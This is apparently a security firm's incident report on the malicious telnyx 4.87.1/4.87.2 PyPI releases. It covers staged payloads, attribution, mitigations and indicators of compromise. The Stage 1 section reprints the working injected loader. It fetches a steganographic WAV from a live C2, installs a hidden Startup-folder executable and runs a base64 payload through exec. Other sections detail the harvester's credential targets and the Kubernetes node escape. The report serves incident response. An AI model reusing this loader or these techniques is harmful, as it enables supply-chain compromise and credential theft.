
Executive Summary
On March 27, 2026 at roughly 03:51 UTC, threat actor TeamPCP uploaded two malicious versions (4.87.1 and 4.87.2) of the telnyx Python SDK to PyPI. The package pulls approximately 750,000 monthly downloads, and the blast radius extends well beyond the package itself to every downstream project that depends on it. PyPI quarantined both versions after roughly four hours of exposure.
The attack is surgical. A small amount of malicious code was injected into the package, and it executes the moment any application loads the library, with zero user interaction required. The architecture is three-staged: a trojanized package triggers a platform-specific loader, which downloads a second-stage payload hidden inside a WAV audio file using steganography, which in turn deploys a full credential harvester. The harvester vacuums up SSH keys, cloud provider credentials, Kubernetes secrets, database configs, crypto wallets, environment files, and more. It encrypts everything and exfiltrates it to the attacker’s C2. Payloads persist on infected systems. The attack works across all major operating systems and actively spreads through Kubernetes clusters by deploying privileged pods on every node.
This is the latest move in a broader TeamPCP supply chain campaign that has already hit Trivy (Aqua Security), Checkmarx, LiteLLM, and 46+ npm packages over the span of nine days. The campaign is high-speed, actively evolving, and showing escalating sophistication at each step. A recently announced partnership between TeamPCP, Vect, and BreachForums significantly raises the stakes. With access to stolen credentials and established underground marketplace distribution, the risk of ransomware operations flowing from these compromises is very real.
Organizations that installed the affected versions should treat this as a confirmed breach. Immediate incident response is warranted when infection is likely or attack artifacts are detected. This means full credential rotation across all exposed systems and a thorough risk assessment of downstream impact.
Initial Access: Package Compromise
The first thing that stands out is where the malicious versions came from. They were uploaded directly to PyPI, but never published to GitHub. If you check the team-telnyx/telnyx-python repository right now, the latest release is still v4.87.0. Versions 4.87.1 and 4.87.2 simply do not exist in the source repo.
That matters because of how modern Python projects normally ship code. Most teams wire up a CI/CD pipeline so that when a developer tags a new version in the source repository, the build system automatically packages it and uploads it to PyPI. The code passes through version control, code review, and automated testing before it ever reaches the package registry. So when a version appears on PyPI with no corresponding commit, tag, or release in the source repo, something has gone wrong.
Looking inside the malicious packages reveals how the attacker pulled this off. The source distribution includes a file at bin/publish-pypi that shows Telnyx’s exact publish workflow:
#!/usr/bin/env bash
set -eux
mkdir -p dist
rye build --clean
rye publish --yes --token=$PYPI_TOKEN
The attacker had a valid PYPI_TOKEN. With that token in hand, they used the project’s own build toolchain (rye build --clean) to rebuild the wheels. Because they followed the legitimate build process, every SHA256 hash in the wheel’s RECORD manifest checks out. The resulting packages look completely normal to any tool that verifies hash integrity. pip install --require-hashes, hashin, pip-compile --generate-hashes, none of them would have caught this. Those tools protect against version substitution, not against malicious content inside a properly-built version.
This is the same playbook TeamPCP used three days earlier against LiteLLM, where stolen CI/CD credentials were used to push malicious versions in exactly the same way.
Inside the package, only a single file was touched: _client.py. Everything else is byte-for-byte identical to the clean 4.87.0 release. That precision makes initial discovery harder because there is almost no noise in the diffs, but it also makes remediation straightforward once you know what to look for.
Most supply chain attacks are messier than this. Attackers manually stuff files into archives and leave broken RECORD entries behind, which makes detection easier. TeamPCP used the project’s own tooling to produce packages that are structurally indistinguishable from the real thing.
Technical Analysis
Stage 1: The Trojanized Client
The backdoor triggers the moment any code loads the telnyx library. A simple import telnyx or from telnyx import ... is enough. No function calls, no configuration, no user interaction. Just importing the package runs the malicious code.
Here is how the chain works. When Python processes import telnyx, it executes __init__.py, which contains this line:
from ._client import Client, Stream, Telnyx, Timeout, Transport, AsyncClient, AsyncStream, AsyncTelnyx, RequestOptions
That import loads _client.py, and because Python executes module-level code on import, the two function calls the attacker added at the bottom of the file run immediately:
setup() # Windows attack path
FetchAudio() # Linux/macOS attack path
Both functions check the operating system and silently return if they are on the wrong platform. Every exception is caught and swallowed (except: pass), so the host application never crashes or throws an error. The user has no idea anything happened.
Here is the injected code in full:
def setup():
if os.name != 'nt':
return
try:
p = os.path.join(os.getenv(_d('QVBQREFUQQ==')), _d('TWljcm9zb2Z0XFdpbmRvd3NcU3RhcnQgTWVudVxQcm9ncmFtc1xTdGFydHVw'), _d('bXNidWlsZC5leGU='))
l = p + _d('LmxvY2s=')
t = p + _d('LnRtcA==')
if os.path.exists(p):
return
if os.path.exists(l):
m_time = os.path.getmtime(l)
if (time.time() - m_time) < 43200:
return
with open(l, 'w') as f:
f.write(str(time.time()))
try:
subprocess.run(['attrib', '+h', l], capture_output=True)
except:
pass
r = urllib.request.Request(_d('aHR0cDovLzgzLjE0Mi4yMDkuMjAzOjgwODAvaGFuZ3VwLndhdg=='), headers={_d('VXNlci1BZ2VudA=='): _d('TW96aWxsYS81LjA=')})
with urllib.request.urlopen(r, timeout=15) as d:
with open(t, "wb") as f:
f.write(d.read())
with wave.open(t, 'rb') as w:
b = base64.b64decode(w.readframes(w.getnframes()))
s, m = b[:8], b[8:]
payload = bytes([m[i] ^ s[i % len(s)] for i in range(len(m))])
with open(p, "wb") as f:
f.write(payload)
if os.path.exists(t):
os.remove(t)
subprocess.Popen([p], creationflags=0x08000000)
except:
pass
def FetchAudio():
if os.name == 'nt':
return
try:
subprocess.Popen(
[sys.executable, "-c", f"import base64; exec(base64.b64decode('{_p}').decode())"],
stdout=subprocess.DEVNULL,
stderr=subprocess.DEVNULL,
start_new_session=True
)
except:
pass
Reading this raw, it is not immediately obvious what it does because the attacker wrapped every sensitive string in a _d() helper that base64-decodes at runtime. Here is what those encoded values actually resolve to:
| Base64 | Decoded |
|---|---|
QVBQREFUQQ== | APPDATA |
TWljcm9zb2Z0XFdpbmRvd3NcU3RhcnQgTWVudVxQcm9ncmFtc1xTdGFydHVw | Microsoft\Windows\Start Menu\Programs\Startup |
bXNidWlsZC5leGU= | msbuild.exe |
LmxvY2s= | .lock |
LnRtcA== | .tmp |
aHR0cDovLzgzLjE0Mi4yMDkuMjAzOjgwODAvaGFuZ3VwLndhdg== | http://83.142.209.203:8080/hangup.wav |
VXNlci1BZ2VudA== | User-Agent |
TW96aWxsYS81LjA= | Mozilla/5.0 |
With that table in hand, the two functions tell a clear story. Execution branches depending on the operating system.
On Windows, setup() runs. It downloads a WAV file from the C2 server at http://83.142.209.203:8080/hangup.wav, extracts a hidden native PE binary from the audio data using steganography, and writes it to %APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\msbuild.exe. The name is deliberate: msbuild.exe is a legitimate Microsoft Build Engine binary, so its presence on a developer’s machine does not immediately raise suspicion. The Startup folder location means it runs automatically on every user login without needing registry modifications or scheduled tasks.
The function includes several anti-analysis and anti-repeat mechanisms. Before doing anything, it checks whether msbuild.exe already exists at the target path, and if so, returns immediately to avoid re-infecting. It also creates a .lock file with a timestamp and checks whether fewer than 12 hours have passed since the last attempt, preventing repeated download attempts on every import telnyx. That lock file is hidden from the user with attrib +h. When the PE binary finally launches, it uses the CREATE_NO_WINDOW flag (0x08000000) so no console window flashes on screen. The temporary WAV file used during decoding is deleted immediately after the payload is extracted.
There is one revealing detail in the version history. In version 4.87.1, the module-level call reads Setup() with a capital S, but the function is defined as lowercase setup(). Python is case-sensitive, so this throws a NameError that gets silently caught by the outer try/except. The Windows path was completely broken in the first release. Version 4.87.2, uploaded shortly after, fixes the casing to setup(). The Linux path worked from the start in both versions because FetchAudio() was spelled correctly throughout. This bug-then-fix pattern tells us the attacker tested deployment but not execution on Windows, and shipped a correction as soon as they noticed.
On Linux and macOS, FetchAudio() runs instead. It takes a different approach entirely. Rather than downloading a binary, it base64-decodes a large Python payload stored in the _p variable (4,428 characters of base64, decoding to 3,320 bytes of Python) and executes it in a detached child process with start_new_session=True. That detached process is Stage 2, which handles its own C2 download, steganography decoding, credential harvesting, encryption, and exfiltration. Because the process is detached, it keeps running even if the parent Python application exits.

Stage 2a: The Linux Loader
The detached process launched by FetchAudio() decodes into a loader script built around a single function called audioimport(). Its job is straightforward: fetch the actual credential harvester, run it, encrypt whatever it collects, and send the results to the attacker. Everything happens inside a temporary directory that auto-deletes when the script exits, leaving almost no forensic trace on disk.
Fetching the Harvester
The loader downloads a file called ringtone.wav from the same C2 server (http://83.142.209.203:8080/ringtone.wav), which is not actually an audio file. It is a valid WAV container (8-bit mono PCM, 44100 Hz), but the audio frame data contains an encoded Python script. Both the Windows payload (hangup.wav) and the Linux payload (ringtone.wav) use the same scheme: the attacker prepends an 8-byte random XOR key to the payload, encrypts the bytes against that key, base64-encodes the result, and writes it as audio frame data. The file plays as static noise if opened in a media player, passes MIME-type and file-type checks as audio/wav, and bypasses content filters and deep packet inspection that would flag a raw binary download. On the receiving end, decoding is just the reverse: read the frames, base64-decode, split off the first 8 bytes as the XOR key, and decrypt the rest.

Running It in Memory
The loader executes that harvester by piping it to a new Python process via stdin (python -), so the harvester script never touches disk. All output from the harvester (the stolen credentials) is captured to a temp file called collected.
Encrypting the Haul
Once collection is done, the loader encrypts the results using a hybrid scheme. It generates a random 32-byte session key with openssl rand, encrypts the credential dump with AES-256-CBC using that key (with PBKDF2 for key derivation), then wraps the session key itself with RSA-4096 OAEP using a hardcoded public key. This means only the holder of the corresponding RSA private key can decrypt the data. Each run produces a unique session key, so even if you capture multiple exfiltrations, you cannot reuse a recovered key to decrypt others.

Exfiltration
The encrypted payload and the wrapped session key get bundled into a tar archive called tpcp.tar.gz and POSTed to the C2 over HTTP with the header X-Filename: tpcp.tar.gz. That header is consistent across every TeamPCP campaign and is one of the most reliable network-level detection indicators.
The RSA Key as Attribution Anchor
The RSA-4096 public key embedded in this loader has a DER fingerprint of bc40e5e2c438032bac4dec2ad61eedd4e7c162a8b42004774f6e4330d8137ba8. That same key appears in every TeamPCP campaign analyzed so far: Trivy, LiteLLM, Checkmarx, and now Telnyx. It is the single strongest attribution indicator tying all of these compromises to the same actor.

Stage 3a: The Linux Credential Harvester
The Stage 3 payload is a 354-line Python script served from the C2 via the WAV steganography mechanism described above. It uses RC4 encryption to obfuscate its most sensitive strings at rest, making static analysis harder without first decrypting those blobs. The collection scope is massive, covering virtually every category of secret a server or CI/CD environment might hold.
Cloud Provider Credentials
| Target | Files/Paths |
|---|---|
| AWS | ~/.aws/credentials, ~/.aws/config, all AWS_* env vars, EC2 IMDS role creds (169.254.169.254), ECS container creds |
| GCP | ~/.config/gcloud/*, application_default_credentials.json, GOOGLE_APPLICATION_CREDENTIALS |
| Azure | Entire ~/.azure/ directory tree, all AZURE_* env vars |
Infrastructure Credentials
| Target | Files/Paths |
|---|---|
| SSH | ~/.ssh/id_rsa, id_ed25519, id_ecdsa, id_dsa, authorized_keys, known_hosts, config; /root/.ssh/*, /home/*/.ssh/*; /etc/ssh/ssh_host_*_key |
| Kubernetes | ~/.kube/config, service account tokens at /var/run/secrets/kubernetes.io/serviceaccount/token, CA certs, all secrets across all namespaces via K8s API |
| Docker | ~/.docker/config.json, /kaniko/.docker/config.json |
| TLS/SSL | All .pem, .key, .p12, .pfx files; /etc/ssl/private/*; /etc/letsencrypt/* |
Application Secrets
| Target | Files/Paths |
|---|---|
| Environment files | .env, .env.local, .env.production, .env.development, .env.staging across /home, /root, /opt, /srv, /var/www, /app, /data, /var/lib, /tmp (recursive, up to 6 dirs deep) |
| CI/CD | .gitlab-ci.yml, .travis.yml, Jenkinsfile, .github/workflows/* |
| IaC | terraform.tfvars, terraform.tfstate |
| Package managers | .npmrc, .pypirc, .gem/credentials |
| VPN/Tunnel | WireGuard configs, .vault-token |
Database Credentials
| Target | Files/Paths |
|---|---|
| PostgreSQL | .pgpass |
| MySQL | my.cnf |
| Redis | redis.conf |
| MongoDB | .mongorc.js |
| Connection strings | All *_DB_*, *DATABASE*, *_CONN* env vars |
Cryptocurrency Wallets
| Target | Files/Paths |
|---|---|
| Bitcoin | wallet.dat |
| Ethereum | Keystore files |
| Solana | Validator keypairs |
| Others | Litecoin, Dogecoin, Zcash, Dash, Ripple, Monero configs |
System Information
| Target | Method |
|---|---|
| Identity | whoami, hostname, uname -a |
| Network | IP addresses, routing tables |
| History | bash_history, zsh_history, mysql_history, psql_history, redis-cli history |
| Accounts | passwd, shadow |
| Auth logs | /var/log/auth.log, /var/log/secure |
| Environment | Complete os.environ dump |
Kubernetes Lateral Movement
The harvester goes beyond simple file collection when it detects Kubernetes service account tokens at /var/run/secrets/kubernetes.io/serviceaccount/token. This is common in CI/CD pipelines and any workload running inside a K8s pod.

When it finds those tokens, the harvester first dumps all secrets across all namespaces via the Kubernetes API. Then it enumerates every node in the cluster. For each node, it creates a privileged pod in the kube-system namespace running alpine:latest with host PID, host networking, all-taint toleration, and the host root filesystem mounted at /host.
Each of those pods drops a persistence script called sysmon.py to the host at /host/root/.config/sysmon/sysmon.py and registers it as a systemd user service named “System Telemetry Service.” The service is enabled and started immediately.

The result: a single compromised CI/CD pipeline that runs pip install telnyx==4.87.2 inside a Kubernetes pod can lead to persistent backdoors on every node in the cluster.
The Persistent Backdoor
The sysmon.py persistence script is a polling backdoor. After a five-minute startup delay, it contacts https://checkmarx.zone/raw every 50 minutes looking for a new payload URL. When it gets one, it downloads the binary to /tmp/pglog, makes it executable, and runs it detached. It tracks the last URL it fetched in /tmp/.pg_state to avoid re-downloading the same payload.
This gives TeamPCP a persistent, updateable foothold on every compromised host and every K8s node. They can push arbitrary new payloads at any time through the checkmarx.zone C2. The backdoor is the one component that deliberately writes to disk, trading stealth for long-term access.

That covers the Linux side of things. The Windows path leads somewhere quite different.
Stage 2b: The Windows Loader
During one infection, we were able to recover the deleted msbuild.exe from a compromised system. The binary is identical to the Checkmarx variant (7290353a3bc2b18e9ea574d3294b09e28edaa6b038285bb101cf09760f187dcd, 179,712 bytes, GCC 13/14 Mingw-w64, compiled 2026-03-22), confirming that TeamPCP reused the exact same RAT across campaigns with only the C2 configuration swapped out at injection time.
NTDLL Unhooking
The PE starts by neutralizing endpoint detection. It reads a clean copy of ntdll.dll from disk, maps it into memory, and overwrites the .text section of the already-loaded ntdll with the clean version. This removes any userland hooks that EDR products have placed on NT API functions. From this point on, all system calls go through the unhooked copy, making the process invisible to most endpoint security tools.

API Hash Resolution
Instead of importing functions by name (which would show up plainly in the import table), the PE resolves all API calls at runtime through hash lookups. The hashing algorithm is djb2 (seed 0x1505, multiplier 33, case-sensitive). A function at 0x140007BC0 walks the export tables of loaded DLLs, hashes each export name, and compares it against a list of target hashes. The resolved function pointers are stored for later use.

The PE also patches EtwEventWrite to return immediately, preventing Event Tracing for Windows from logging the injection activity that follows.
Stage 3b: The Windows RAT
PNG Steganography
Where the Linux path hides its payload in WAV audio, the Windows PE uses a different trick. It carries its next-stage payload as a PNG image embedded in its .data section at offset 0x120. The image is 179×179 pixels, RGBA 8-bit, with an entropy of 4.86. It is obviously not a real image. All 256 values are used across the R, G, and B channels (encoded data), while the alpha channel is uniformly 0xFF (padding). The PE decodes it using the stb_image library.

The first four pixel bytes encode the payload size as a big-endian uint32 (95,743 bytes). The remaining pixel data contains the actual payload, with every 4th byte (the alpha channel) discarded, giving roughly 71,807 bytes of effective code. That payload breaks down into two parts: a 1,023-byte shellcode stub (a reflective PE loader) followed by the inner PE starting at offset 0x3FF.

Process Injection
The outer PE msbuild.exe spawns a suspended C:\Windows\System32\dllhost.exe process (a legitimate COM Surrogate binary), allocates memory in it, queues the shellcode as an APC (early bird injection), and resumes the thread. The shellcode stub is position-independent: it walks the PEB to find loaded DLLs, locates the inner PE’s MZ header, maps its sections into memory, resolves its imports, flushes the instruction cache, and jumps to the entry point.

C2 Configuration
What makes this binary reusable across campaigns is how the C2 config is handled. The outer PE writes it into the inner PE’s entry point area before injection. The config sits in .rdata as an RC4-encrypted blob followed by a 16-byte key. Decrypted configs recovered from different campaign variants:
Checkmarx variant:
C2 Server: checkmarx.zone
URI Path: /telemetry/checkmarx.json
Custom Header: X-Content-ID
Trivy variant:
C2 Server: 45.148.10.212 (= scan.aquasecurtiy.org)
URI Paths: /api/v1/status, /updates/check.php, /content.html (rotation)
Custom Header: X-Beacon-Id
Telnyx variant: Same binary confirmed via forensic recovery. C2 configuration written at injection time, pointing to 83.142.209.203:8080.
Both variants share the same User-Agent string (Mozilla/5.0 (Windows NT 6.2; rv:20.0) Gecko/20121202 Firefox/20.0) and use HTTP POST for beaconing.
RAT Capabilities
The inner PE is a full-featured RAT with 123 resolved API functions. Its command set covers file browsing and management (list, read, write, delete, copy, move), process enumeration and termination, command execution, privilege escalation via token theft and impersonation, named pipe communication for lateral movement, raw socket networking for port forwarding and pivoting, system reconnaissance (hostname, user, NICs, OS version), and HTTP-based C2 beaconing for command reception and data exfiltration.
Attribution: TeamPCP
TeamPCP is linked to TeamTNT, a group historically known for cryptojacking operations, but this campaign marks a clear escalation into credential theft at scale across multiple software ecosystems. Their operational tempo is aggressive: nine days, five major targets (Trivy, 46+ npm packages, Checkmarx, LiteLLM, Telnyx), with bug fixes shipping within minutes of broken releases. The technical capabilities span PyPI and npm supply chain compromise, GitHub Actions hijacking, WAV steganography, hybrid AES+RSA encryption, Kubernetes lateral movement, and decentralized C2 via ICP blockchain canisters. Combined with the announced partnership with Vect and BreachForums, TeamPCP has both the tooling and the distribution channels to turn stolen credentials into ransomware operations or sell them at scale.
Recommendations
Reduce Supply Chain Attack Surface
Understanding the risk is the first step. Developers need to know that running pip install or npm install is not a safe operation by default, and that a single compromised package can silently steal every credential on the system. That awareness alone changes behavior.
On the maintainer side, 2FA on all PyPI and npm accounts should be mandatory at this point. Scoped tokens per package and short-lived CI secrets limit the blast radius if a token does get stolen. For PyPI specifically, trusted publishers via OIDC eliminate long-lived API tokens entirely and tie publishing to verified CI/CD pipelines.
On the consumer side, pin all dependencies to exact versions and use lockfiles. Review changelogs before upgrading. Run npm audit and pip-audit as part of CI and fail the build on known vulnerabilities. Use ephemeral build containers with no mounted credentials so that even if a malicious package executes during install, there is nothing to steal.
In non-development environments (production servers, staging, shared infrastructure), block pip install and npm install entirely. Application control policies or simply removing the Python and Node package manager binaries from production images is a straightforward way to enforce this.
Know Your Dependencies
Implement dependency monitoring across all environments: developer machines, CI/CD pipelines, GitHub Actions, and anywhere else packages get installed. Track not just the packages you install directly but also their downstream dependants. When a package like telnyx gets compromised, every project that imports it is affected too.
The single biggest issue we see in our incident response engagements is organizations not knowing whether they are affected or not. When an advisory drops, teams scramble to figure out which systems have the package installed, which version they are running, and whether the compromised version ever ran in their environment. Having that inventory ready before an incident happens is the difference between a four-hour response and a four-day one.
Credential Hygiene
Use short-lived credentials wherever possible. AWS STS session tokens, OIDC-based cloud authentication, and time-limited service account keys all expire before an attacker can use them. If your team is still using long-lived IAM access keys sitting in ~/.aws/credentials, a single bad pip install hands those to the attacker permanently.
Stop storing production secrets in .env files on disk. The harvester walks six directories deep across common application paths looking for exactly these files. Use a secrets manager with runtime injection instead so secrets never touch the filesystem.
Separate development environments from credential-rich environments. Dev containers, remote development setups like Codespaces or Gitpod, or simply dedicated VMs that do not have cloud credentials, SSH keys, or Kubernetes configs mounted. If the environment where packages get installed has no secrets, a compromised package finds nothing worth stealing.
Block Known Indicators
For network indicators, blocking the known C2 IPs and domains (checkmarx.zone, aquasecurtiy.org, 83.142.209.203, and the broader 83.142.209.0/24 subnet) is straightforward at the firewall or proxy level. Detecting the X-Filename: tpcp.tar.gz HTTP header in outbound traffic is harder to block inline but is a high-fidelity detection rule for SIEM or NDR tools.
For filesystem indicators, alerting on the known malicious paths (msbuild.exe in the Startup folder, sysmon.py under ~/.config/sysmon/, the hidden .lock files) is more of a detection play than a prevention one. These paths are specific enough to generate very few false positives.
Hunt and Detect
WAV file downloads are rare in most enterprise environments. An HTTP GET for a .wav file from a bare IP address on a non-standard port is unusual enough to warrant investigation on its own.
For exfiltration, alerting on the pattern matters more than alerting on the specific C2. C2 addresses rotate, but the behavior stays the same: an HTTP POST to port 8080 with application/octet-stream content type and a payload in the 1-50KB range originating from a Python process. That combination is worth flagging regardless of destination.
On the endpoint side, DLL unhooking and ETW disabling are well-documented detection opportunities, but covering them in full detail would blow the scope of this article. The key point is that the msbuild.exe PE actively tampers with ntdll.dll and patches EtwEventWrite, and EDR products with kernel-level visibility can catch both behaviors.
For persistence, focus on well-known autostart extension points (ASEPs) after baselining: Startup folder entries, scheduled tasks, services, and systemd units. attrib +h execution is worth monitoring after establishing a baseline for your environment. dllhost.exe being spawned by unusual parent processes is another signal, though it also requires baselining to avoid noise.
Kubernetes Hardening
For Kubernetes environments, the most impactful controls directly counter the lateral movement technique documented in this report. Alert on pod creation with hostPID, hostNetwork, or host filesystem mounts. These are almost never needed for legitimate workloads and are exactly what the harvester uses to escape to the node.
Restrict service account token permissions. No CI/CD workload should have cluster-wide secret access. Pod security policies or admission controllers should block privileged pod creation in kube-system (or any namespace) by default.
For organizations doing triage right now, audit existing pods in kube-system for anything named node-setup-*. That is the pod naming pattern the harvester uses. Also check for unexpected systemd services named sysmon.service on cluster nodes.
If Compromised
If version 4.87.1 or 4.87.2 was installed in any environment, treat it as a confirmed breach and initiate incident response. Perform a risk assessment to understand which systems were exposed and what credentials were accessible.
Rotate everything: SSH keys, cloud IAM credentials (AWS, GCP, Azure), Kubernetes service account tokens, Docker registry credentials, database passwords, API keys, TLS certificates, CI/CD pipeline tokens, and any secrets stored in .env files. Move cryptocurrency wallet funds off any system where the compromised package ran.
Audit cloud provider logs (CloudTrail, GCP audit logs, Azure activity logs) for unauthorized access using the stolen credentials. Look for unusual API calls, new IAM users or roles, and access from unfamiliar IP ranges.
Critically, removing the package with pip uninstall telnyx does not remove the persistent backdoor. On Linux, check for and remove ~/.config/sysmon/sysmon.py and the systemd service at ~/.config/systemd/user/sysmon.service. On Windows, delete %APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\msbuild.exe and the associated .lock file. In Kubernetes, remove any node-setup-* pods in kube-system and check every node for the sysmon.service systemd unit.
Conclusion
TeamPCP is running a fast, multi-ecosystem supply chain campaign and they are not done. In nine days they compromised Trivy, Checkmarx, LiteLLM, 46+ npm packages, and now Telnyx, each time refining their tooling and expanding their reach. The telnyx compromise is the most technically complete variant we have analyzed: WAV and PNG steganography for payload delivery, hybrid AES+RSA encryption for exfiltration, Kubernetes lateral movement for cluster-wide persistence, and a full-featured RAT on Windows with NTDLL unhooking, ETW patching, and process hollowing into dllhost.exe.
What stands out is how deliberate the engineering is. The attacker used the project’s own build toolchain to produce packages with valid RECORD hashes. The credential harvester targets every major cloud provider, every common secret storage location, and every cryptocurrency wallet format in a single pass. The K8s lateral movement does not just steal secrets from the current pod; it escapes to every node in the cluster and installs a persistent backdoor that can deliver arbitrary follow-on payloads. And the Windows RAT is not a one-off build. It is a configurable platform where only the C2 address changes between campaigns, meaning new targets can be spun up in minutes.
The announced partnership with Vect and BreachForums adds a distribution and monetization layer to what was already a capable technical operation. Stolen credentials from these compromises are likely already being traded or used for follow-on access. The indicators published here should be treated as immediately actionable.
Indicators of Compromise
File Hashes
Malicious PyPI Packages
7321caa303fe96ded0492c747d2f353c4f7d17185656fe292ab0a59e2bd0b8d9— telnyx-4.87.1-py3-none-any.whlcd08115806662469bbedec4b03f8427b97c8a4b3bc1442dc18b72b4e19395fe3— telnyx-4.87.2-py3-none-any.whlf66c1ea3b25ec95d0c6a07be92c761551e543a7b256f9c78a2ff781c77df7093— telnyx-4.87.1.tar.gza9235c0eb74a8e92e5a0150e055ee9dcdc6252a07785b6677a9ca831157833a5— telnyx-4.87.2.tar.gz
Trojanized Source Files
23b1ec58649170650110ecad96e5a9490d98146e105226a16d898fbe108139e5— malicious _client.py (4.87.1)ab4c4aebb52027bf3d2f6b2dcef593a1a2cff415774ea4711f7d6e0aa1451d4e— malicious _client.py (4.87.2)
Decoded Payloads
84edce66f09c55bbb44754411bde4b092288d172734df62fac20d6f794b3a2ec— decoded _p Linux Stage 2 loader (3,320 bytes)8eaf4c4d0b82620bcda29b97896e2da0a754205c035721479f7ceafb817e4466— Stage 3 harvester + loader wrapper5ce544a8db5d0b0953c966384858e4e8a017e7acba2f5f6d0ac8f529d59939d8— decoded Stage 3 credential harvester (354 lines)6cf223aea68b0e8031ff68251e30b6017a0513fe152e235c26f248ba1e15c92a— sysmon.py persistence backdoor
Windows PE Chain (confirmed reused across Telnyx, Checkmarx, and Trivy campaigns)
7290353a3bc2b18e9ea574d3294b09e28edaa6b038285bb101cf09760f187dcd— msbuild.exe outer PE loadere6912e3ec58120bf63edf2e4be6ff2f092c40cfbc655a12f4a463b2ef98d368e— embedded PNG steganographic carrier (179×179 RGBA)196b5e0e06424a02e360e28e08d7dcfab7ec8946af9477ca352c6cf6b7d4e9bd— inner PE RAT extracted from PNG steganographye4e3b176c1255666024d90392e09466a23bf6e8740bf589c6d1ccf2dfff451a4— position-independent shellcode stub (reflective PE loader)- Import hash (msbuild.exe):
d2210feb0438c0ce89b5579ef75ae4d4
Cross-Campaign Attribution Key
bc40e5e2c438032bac4dec2ad61eedd4e7c162a8b42004774f6e4330d8137ba8— RSA-4096 public key DER fingerprint (identical across all TeamPCP campaigns)4eceb569b4330565b93058465beab0e6d5ea09cfba8e7f29d7be1b5a2abd958a— RSA-4096 public key PEM format hash
Cross-Campaign Packages (same RSA key)
8395c3268d5c5dbae1c7c6d4bb3c318c752ba4608cfcd90eb97ffb94a910eac2— litellm-1.82.7-py3-none-any.whld2a0d5f564628773b6af7b9c11f6b86531a875bd2d186d7081ab62748a800ebb— litellm-1.82.8-py3-none-any.whl
Cross-Campaign Harvester Variants
d6fc0ff06978742a2ef789304bcdbe69a731693ad066a457db0878279830d6a9— Python harvester Build B, LiteLLM C2d29deee2e8bec85d2fcaec427f17d677f7de4f8387e00566b0b45ff81157bd31— Python harvester Build B, CRLF variantcd6af6c9ba149673ff89a1f1ccc8ec40a265a3b54ad455fbef28dc2967a98e45— CanisterWorm JavaScript variant (npm)
Cross-Campaign RAT Variants (same inner PE, different C2 config)
a585277a67a176fe098edf90986670653a5039e03e4028d18dd0b607ed287caa— RAT dropper, DLL variant (C2: 45.148.10.212)485952ba5347aa83f00537a4be0bebb274021f773a0203b65142f1b86dfda34d— RAT dropper, libcurl.dll (C2: 45.148.10.212)
Network Indicators
C2 Infrastructure
83.142.209.203— primary C2, port 8080/tcp, AS205759 Ghosty Networks / DEMENIN B.V., Luxembourg, Spamhaus-listed (DROP/SBL), offline as of 2026-03-2783.142.209.11— checkmarx.zone resolved IP, same /24 subnet45.148.10.212— scan.aquasecurtiy.org resolved IP
Payload Delivery
http://83.142.209.203:8080/hangup.wav— Windows PE via WAV steganographyhttp://83.142.209.203:8080/ringtone.wav— Linux credential harvester via WAV steganography
Exfiltration Endpoints
http://83.142.209.203:8080/— POST exfiltration (Telnyx + LiteLLM)https://models.litellm.cloud/— POST exfiltration (LiteLLM variants)https://checkmarx.zone/vsx— POST exfiltration (CanisterWorm JS)
Persistent Backdoor Polling
https://checkmarx.zone/raw— sysmon.py polls every 50 minutes for new payload URLs
C2 Domains
checkmarx.zone— registered 2026-03-22, Spaceship.com, AWS Route53, resolved to 83.142.209.11scan.aquasecurtiy.org— Aqua Security typosquat (note misspelling of “security”)models.litellm.cloud— LiteLLM typosquattdtqy-oyaaa-aaaae-af2dq-cai.raw.icp0.io— ICP blockchain canister C2 (CanisterWorm)
Network Signatures
X-Filename: tpcp.tar.gz— HTTP header on all exfiltration POST requests (cross-campaign, highest-fidelity network indicator)User-Agent: Mozilla/5.0 (Windows NT 6.2; rv:20.0) Gecko/20121202 Firefox/20.0— Windows RAT beaconingContent-Type: application/octet-stream— exfiltration POST content type
C2 Configuration (decrypted from RAT variants)
- Checkmarx:
POST checkmarx.zone/telemetry/checkmarx.json, headerX-Content-ID, RC4 key331ab9c032cf95c89d877ee05b46f8d8 - Trivy:
POST 45.148.10.212 /api/v1/status, /updates/check.php, /content.html(rotation), headerX-Beacon-Id - Telnyx: same binary, C2 config
83.142.209.203:8080(confirmed via forensic recovery)
Host Indicators
Windows Filesystem
%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\msbuild.exe— persistent PE binary (masquerades as Microsoft Build Engine)%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\msbuild.exe.lock— hidden lock file (12h cooldown,attrib +h)%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\msbuild.exe.tmp— temp WAV download (deleted after decode)
Linux/macOS Filesystem
~/.config/sysmon/sysmon.py— persistent polling backdoor~/.config/systemd/user/sysmon.service— systemd persistence (Description: “System Telemetry Service”)/tmp/pglog— backdoor binary download target/tmp/.pg_state— backdoor state tracking file
Kubernetes Resources
pod/node-setup-*inkube-system— malicious privileged pods (alpine:latest, hostPID, hostNetwork, host root mount)
Process Artifacts
dllhost.exespawned bymsbuild.exefrom Startup folder — Early Bird APC injection targetattrib.exe +hon files in Startup folder — lock file hiding
Compromised Packages
PyPI
telnyx4.87.1, 4.87.2 — quarantinedlitellm1.82.7, 1.82.8 — quarantined
npm
- 46+ packages (
@EmilGroup,@opengovscopes) — removed
Attribution
- Telegram:
@Persy_PCP,@teampcp - Defacement message: “TeamPCP Owns…”
- ASN: AS205759 (Ghosty Networks LLC / DEMENIN B.V., Luxembourg)